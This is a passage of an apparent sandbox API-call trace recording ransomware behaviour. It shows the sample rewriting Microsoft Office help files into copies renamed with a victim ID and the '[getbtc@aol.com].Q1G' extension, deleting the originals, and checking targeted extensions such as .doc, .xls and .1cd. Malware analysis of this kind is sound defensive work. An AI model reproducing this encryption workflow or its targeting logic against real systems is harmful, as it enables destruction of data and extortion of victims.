Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_k_col.hxk.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0250.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0250.014] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0250.014] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0250.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_k_col.hxk.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0250.015] GetLastError () returned 0x0 [0250.015] ReadFile (in: hFile=0x3bc, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x71, lpOverlapped=0x0) returned 1 [0250.015] WriteFile (in: hFile=0x360, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x80, lpOverlapped=0x0) returned 1 [0250.016] ReadFile (in: hFile=0x3bc, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0250.016] WriteFile (in: hFile=0x360, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x100, lpOverlapped=0x0) returned 1 [0250.016] SetEndOfFile (hFile=0x360) returned 1 [0250.017] CloseHandle (hObject=0x360) returned 1 [0250.017] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0250.017] SetEndOfFile (hFile=0x3bc) returned 1 [0250.019] CloseHandle (hObject=0x3bc) returned 1 [0250.019] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0250.019] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_k_col.hxk")) returned 1 [0250.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK") returned 70 [0250.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK") returned 70 [0250.020] lstrlenW (lpString=".doc") returned 4 [0250.020] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0250.020] lstrlenW (lpString=".docx") returned 5 [0250.020] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0250.020] lstrlenW (lpString=".pdf") returned 4 [0250.020] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0250.020] lstrlenW (lpString=".xls") returned 4 [0250.020] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0250.020] lstrlenW (lpString=".xlsx") returned 5 [0250.020] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0250.020] lstrlenW (lpString=".ppt") returned 4 [0250.020] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0250.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK") returned 70 [0250.020] lstrlenW (lpString=".zip") returned 4 [0250.020] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0250.020] lstrlenW (lpString=".rar") returned 4 [0250.020] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0250.020] lstrlenW (lpString=".bz2") returned 4 [0250.020] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0250.020] lstrlenW (lpString=".7z") returned 3 [0250.020] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0250.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK") returned 70 [0250.020] lstrlenW (lpString=".dbf") returned 4 [0250.020] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0250.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK") returned 70 [0250.020] lstrlenW (lpString=".1cd") returned 4 [0250.020] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0250.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK") returned 70 [0250.020] lstrlenW (lpString=".jpg") returned 4 [0250.020] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0250.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK") returned 70 [0250.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK") returned 70 [0250.020] lstrlenW (lpString=".doc") returned 4 [0250.020] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0250.020] lstrlenW (lpString=".docx") returned 5 [0250.020] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0250.020] lstrlenW (lpString=".pdf") returned 4 [0250.021] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0250.021] lstrlenW (lpString=".xls") returned 4 [0250.021] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0250.021] lstrlenW (lpString=".xlsx") returned 5 [0250.021] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0250.021] lstrlenW (lpString=".ppt") returned 4 [0250.021] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0250.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK") returned 70 [0250.021] lstrlenW (lpString=".zip") returned 4 [0250.021] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0250.021] lstrlenW (lpString=".rar") returned 4 [0250.021] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0250.021] lstrlenW (lpString=".bz2") returned 4 [0250.021] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0250.021] lstrlenW (lpString=".7z") returned 3 [0250.021] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0250.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK") returned 70 [0250.021] lstrlenW (lpString=".dbf") returned 4 [0250.021] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0250.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK") returned 70 [0250.021] lstrlenW (lpString=".1cd") returned 4 [0250.021] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0250.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK") returned 70 [0250.021] lstrlenW (lpString=".jpg") returned 4 [0250.021] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0250.021] lstrcmpiW (lpString1=".HXS", lpString2=".Q1G") returned -1 [0250.021] lstrlenW (lpString="MSACCESS.HXS") returned 12 [0250.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0250.022] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=3877906) returned 1 [0250.022] CloseHandle (hObject=0x3bc) returned 1 [0250.022] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.hxs")) returned 0x20 [0250.022] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.hxs.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0250.022] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.hxs.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0250.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS") returned 60 [0250.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS") returned 60 [0250.022] lstrlenW (lpString=".doc") returned 4 [0250.022] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0250.022] lstrlenW (lpString=".docx") returned 5 [0250.022] lstrcmpiW (lpString1=".docx", lpString2="S.HXS") returned -1 [0250.022] lstrlenW (lpString=".pdf") returned 4 [0250.022] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0250.022] lstrlenW (lpString=".xls") returned 4 [0250.022] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0250.022] lstrlenW (lpString=".xlsx") returned 5 [0250.022] lstrcmpiW (lpString1=".xlsx", lpString2="S.HXS") returned -1 [0250.022] lstrlenW (lpString=".ppt") returned 4 [0250.022] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0250.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS") returned 60 [0250.022] lstrlenW (lpString=".zip") returned 4 [0250.022] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0250.023] lstrlenW (lpString=".rar") returned 4 [0250.023] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0250.023] lstrlenW (lpString=".bz2") returned 4 [0250.023] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0250.023] lstrlenW (lpString=".7z") returned 3 [0250.023] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0250.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS") returned 60 [0250.023] lstrlenW (lpString=".dbf") returned 4 [0250.023] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0250.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS") returned 60 [0250.023] lstrlenW (lpString=".1cd") returned 4 [0250.023] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0250.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS") returned 60 [0250.023] lstrlenW (lpString=".jpg") returned 4 [0250.023] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0250.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS") returned 60 [0250.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS") returned 60 [0250.023] lstrlenW (lpString=".doc") returned 4 [0250.023] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0250.023] lstrlenW (lpString=".docx") returned 5 [0250.023] lstrcmpiW (lpString1=".docx", lpString2="S.HXS") returned -1 [0250.023] lstrlenW (lpString=".pdf") returned 4 [0250.023] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0250.023] lstrlenW (lpString=".xls") returned 4 [0250.023] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0250.023] lstrlenW (lpString=".xlsx") returned 5 [0250.023] lstrcmpiW (lpString1=".xlsx", lpString2="S.HXS") returned -1 [0250.023] lstrlenW (lpString=".ppt") returned 4 [0250.023] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0250.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS") returned 60 [0250.023] lstrlenW (lpString=".zip") returned 4 [0250.023] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0250.023] lstrlenW (lpString=".rar") returned 4 [0250.023] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0250.023] lstrlenW (lpString=".bz2") returned 4 [0250.023] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0250.023] lstrlenW (lpString=".7z") returned 3 [0250.023] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0250.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS") returned 60 [0250.024] lstrlenW (lpString=".dbf") returned 4 [0250.024] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0250.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS") returned 60 [0250.024] lstrlenW (lpString=".1cd") returned 4 [0250.024] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0250.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS") returned 60 [0250.024] lstrlenW (lpString=".jpg") returned 4 [0250.024] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0250.024] lstrcmpiW (lpString1=".HXC", lpString2=".Q1G") returned -1 [0250.024] lstrlenW (lpString="MSACCESS_COL.HXC") returned 16 [0250.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0250.024] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=636) returned 1 [0250.024] CloseHandle (hObject=0x3bc) returned 1 [0250.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxc")) returned 0x20 [0250.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxc.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0250.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0250.025] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0250.025] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0250.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxc.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0250.025] GetLastError () returned 0x0 [0250.025] ReadFile (in: hFile=0x3bc, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x27c, lpOverlapped=0x0) returned 1 [0250.067] WriteFile (in: hFile=0x360, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x280, lpOverlapped=0x0) returned 1 [0250.068] ReadFile (in: hFile=0x3bc, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0250.068] WriteFile (in: hFile=0x360, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xf4, lpOverlapped=0x0) returned 1 [0250.068] SetEndOfFile (hFile=0x360) returned 1 [0250.068] CloseHandle (hObject=0x360) returned 1 [0250.068] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0250.068] SetEndOfFile (hFile=0x3bc) returned 1 [0250.070] CloseHandle (hObject=0x3bc) returned 1 [0250.070] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0250.070] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxc")) returned 1 [0250.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC") returned 64 [0250.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC") returned 64 [0250.071] lstrlenW (lpString=".doc") returned 4 [0250.071] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0250.071] lstrlenW (lpString=".docx") returned 5 [0250.071] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0250.071] lstrlenW (lpString=".pdf") returned 4 [0250.071] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0250.071] lstrlenW (lpString=".xls") returned 4 [0250.071] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0250.071] lstrlenW (lpString=".xlsx") returned 5 [0250.071] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0250.071] lstrlenW (lpString=".ppt") returned 4 [0250.071] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0250.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC") returned 64 [0250.071] lstrlenW (lpString=".zip") returned 4 [0250.071] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0250.071] lstrlenW (lpString=".rar") returned 4 [0250.071] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0250.071] lstrlenW (lpString=".bz2") returned 4 [0250.071] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0250.071] lstrlenW (lpString=".7z") returned 3 [0250.071] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0250.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC") returned 64 [0250.071] lstrlenW (lpString=".dbf") returned 4 [0250.071] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0250.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC") returned 64 [0250.071] lstrlenW (lpString=".1cd") returned 4 [0250.071] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0250.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC") returned 64 [0250.071] lstrlenW (lpString=".jpg") returned 4 [0250.071] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0250.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC") returned 64 [0250.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC") returned 64 [0250.071] lstrlenW (lpString=".doc") returned 4 [0250.071] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0250.072] lstrlenW (lpString=".docx") returned 5 [0250.072] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0250.072] lstrlenW (lpString=".pdf") returned 4 [0250.072] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0250.072] lstrlenW (lpString=".xls") returned 4 [0250.072] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0250.072] lstrlenW (lpString=".xlsx") returned 5 [0250.072] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0250.072] lstrlenW (lpString=".ppt") returned 4 [0250.072] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0250.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC") returned 64 [0250.072] lstrlenW (lpString=".zip") returned 4 [0250.072] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0250.072] lstrlenW (lpString=".rar") returned 4 [0250.072] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0250.072] lstrlenW (lpString=".bz2") returned 4 [0250.072] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0250.072] lstrlenW (lpString=".7z") returned 3 [0250.072] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0250.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC") returned 64 [0250.072] lstrlenW (lpString=".dbf") returned 4 [0250.072] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0250.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC") returned 64 [0250.072] lstrlenW (lpString=".1cd") returned 4 [0250.072] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0250.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC") returned 64 [0250.072] lstrlenW (lpString=".jpg") returned 4 [0250.072] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0250.072] lstrcmpiW (lpString1=".HXS", lpString2=".Q1G") returned -1 [0250.072] lstrlenW (lpString="MSOUC.HXS") returned 9 [0250.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0250.073] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=431456) returned 1 [0250.073] CloseHandle (hObject=0x3bc) returned 1 [0250.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc.hxs")) returned 0x20 [0250.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc.hxs.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0250.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0250.074] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0250.074] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0250.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc.hxs.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0250.075] GetLastError () returned 0x0 [0250.075] ReadFile (in: hFile=0x3bc, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x69560, lpOverlapped=0x0) returned 1 [0250.085] WriteFile (in: hFile=0x360, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x69570, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x69570, lpOverlapped=0x0) returned 1 [0250.092] ReadFile (in: hFile=0x3bc, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0250.092] WriteFile (in: hFile=0x360, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0250.092] SetEndOfFile (hFile=0x360) returned 1 [0250.092] CloseHandle (hObject=0x360) returned 1 [0250.092] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0250.092] SetEndOfFile (hFile=0x3bc) returned 1 [0250.101] CloseHandle (hObject=0x3bc) returned 1 [0250.101] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0250.102] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc.hxs")) returned 1 [0250.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS") returned 57 [0250.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS") returned 57 [0250.102] lstrlenW (lpString=".doc") returned 4 [0250.102] lstrcmpiW 